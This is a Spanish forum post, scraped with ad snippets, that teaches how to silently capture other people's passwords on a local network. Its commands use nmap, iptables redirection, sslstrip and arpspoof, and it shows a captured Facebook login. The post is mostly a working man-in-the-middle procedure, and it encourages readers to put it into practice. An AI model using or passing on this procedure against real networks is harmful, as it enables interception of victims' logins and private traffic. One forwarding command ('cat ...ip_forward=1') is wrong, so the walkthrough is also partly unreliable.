http://www.taringa.net/posts/linux/14351293/Sacando-Passwords-de-Manera-silenciosa.

html

Sacando Passwords de Manera silenciosa

Avisos por Yahoo!

Alergias CuantumCare
Equilibrio del Sistema Inmune. Despdase de las alergias y ms.
cuantumcare.net

Legrados
Ginecologa de alta calidad. Seguro, confiable y discreto.
www.paginasprodigy.com.mx/mspluisv

Termina tu Prepa Abierta

Termina tu Prepa Abierta en slo 3 meses con validez Sep. Inscrbete.
Gcead.com.mx

http://www.taringa.net/posts/linux/14351293/Sacando-Passwords-de-Manera-silenciosa.html

Aviso: Este tema esta elaborado con fines educativos y ticos no me hago responsable del uso que se le de. Definiciones de Conceptos utilizados: Antes que nada veamos algunas pequeas definiciones de ciertos temas y conceptos necesarios para la comprencion del post. SSL:

http://www.taringa.net/posts/linux/14351293/Sacando-Passwords-de-Manera-silenciosa.html

Su acronimo significa Secure Sockets Layer (capas de enchufes seguros) el cual es un protocolo que es utilizado para crear conexiones seguras de servidor a cliente en http y https encriptando los datos de los usuarios que navengan por internet por medio de certificados digitales RSA proporcionados por la empresa Verising . Ataques Man in the middle Es un ataque en el que el enemigo adquiere la capacidad de leer, insertar y modificar a voluntad, los mensajes entre dos partes sin que ninguna de ellas conozca que el enlace entre ellos ha sido violado. SSLSTRIP Es una herramienta que nos permite suplantar los certificados de ssl y redireccionar el trafico de http y https hacia nuestro equipo para ver datos como logins y passwords cifrados por ssl en paginas web. Herramientas necesarias. *nmap: podemos obtenerlo haciendo click AQU instalarlo con Cdigo: sudo apt-get install nmap *Dsniff: Obtenlo AQU Cdigo: sudo apt-get install dsniff Python y dependencias de l para sslstrip: por lo general las distros de linux ya traen python solo queda instalar las dependencias con Cdigo: sudo apt-get install pythontwisted-web Y si no tienen python Cdigo: sudo apt-get install python *Sslstrip Lo descargamos de AQU lo descomprimimos y tipeamos en la consolapara instalarlo ya con el directorio de la carpeta d sslstrip : Cdigo: sudo python ./setup.py install Bien! Paso 1: checamos nuestra ip y mapeamos la red con nmap para identificar el router y la victima: chekamos la ip con Cdigo: ifconfig

http://www.taringa.net/posts/linux/14351293/Sacando-Passwords-de-Manera-silenciosa.html

Mapeamos la red con rango 0-255 para que capture todas las maquinas presentes en la red: Cdigo: sudo nmap -PN 192.168.0.0-255

http://www.taringa.net/posts/linux/14351293/Sacando-Passwords-de-Manera-silenciosa.html

Paso 2: Activamos el forwarding para reenvio de paquetes pues al hacer el Mitm dejariamos sin conexion a la victima es por eso que se activa. Se activa con: cat /proc/sys/net/ipv4/ip_forward Y para comprobar que esta activado "1" ponemos en la consola: cat /proc/sys/net/ipv4/ip_forward=1 Veamos

http://www.taringa.net/posts/linux/14351293/Sacando-Passwords-de-Manera-silenciosa.html

Paso 3 : Redireccionamos el trafico de http y https a un puerto a la escucha con: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Paso 4: Ponemos en marcha el sslstrip con: sudo sslstrip -w HxC - l 8080 Nota: -w aqui va el nombre con que quieren que se guarde el log del sslstrip y -l es para que escuche el trafico del puerto al cual redireccionamos el trafico de http Paso 5 Hacemos un envenenamiento de arp o arpspoof con: arpspoof -i interface de red (wlan0 o etho) -t ip victima ip del router

http://www.taringa.net/posts/linux/14351293/Sacando-Passwords-de-Manera-silenciosa.html

vean:

en mi caso la ip victima es 192.168.0.2 y la del router es 192.168.0.1 Ahora solo queda esperar a que alguen caiga miren: aqui en la maquina virtual con win xp estamos entrando en Facebook

http://www.taringa.net/posts/linux/14351293/Sacando-Passwords-de-Manera-silenciosa.html

y luego que ya entramos a FB

http://www.taringa.net/posts/linux/14351293/Sacando-Passwords-de-Manera-silenciosa.html

Vean que registra el sslstrip en el archivo de texto que crea por default:

Ahora comentamos un enlace de alguien miren:

Y sslstrip hace de las suyas y nos muestra tambien el comentario que realizamos:

http://www.taringa.net/posts/linux/14351293/Sacando-Passwords-de-Manera-silenciosa.html

Como pueden ver con Sslstrip podemos obtener passwords sin levantar sospechas como lo hariamos con ettercap por si solo, y tambien podemos ver lo que publicamos en enlaces etc etc ... asi que ponganlo en practica pero tomando en cuenta no daar la integridad de alguien mas pues no deceariamos que nos hicieran algo asi a nosotros

Para cualquier duda queja o lo que sea, diganmelo por los cometarios. No aclaro dudas por MP, las dudas de uno pueden ser las dudas de muchos.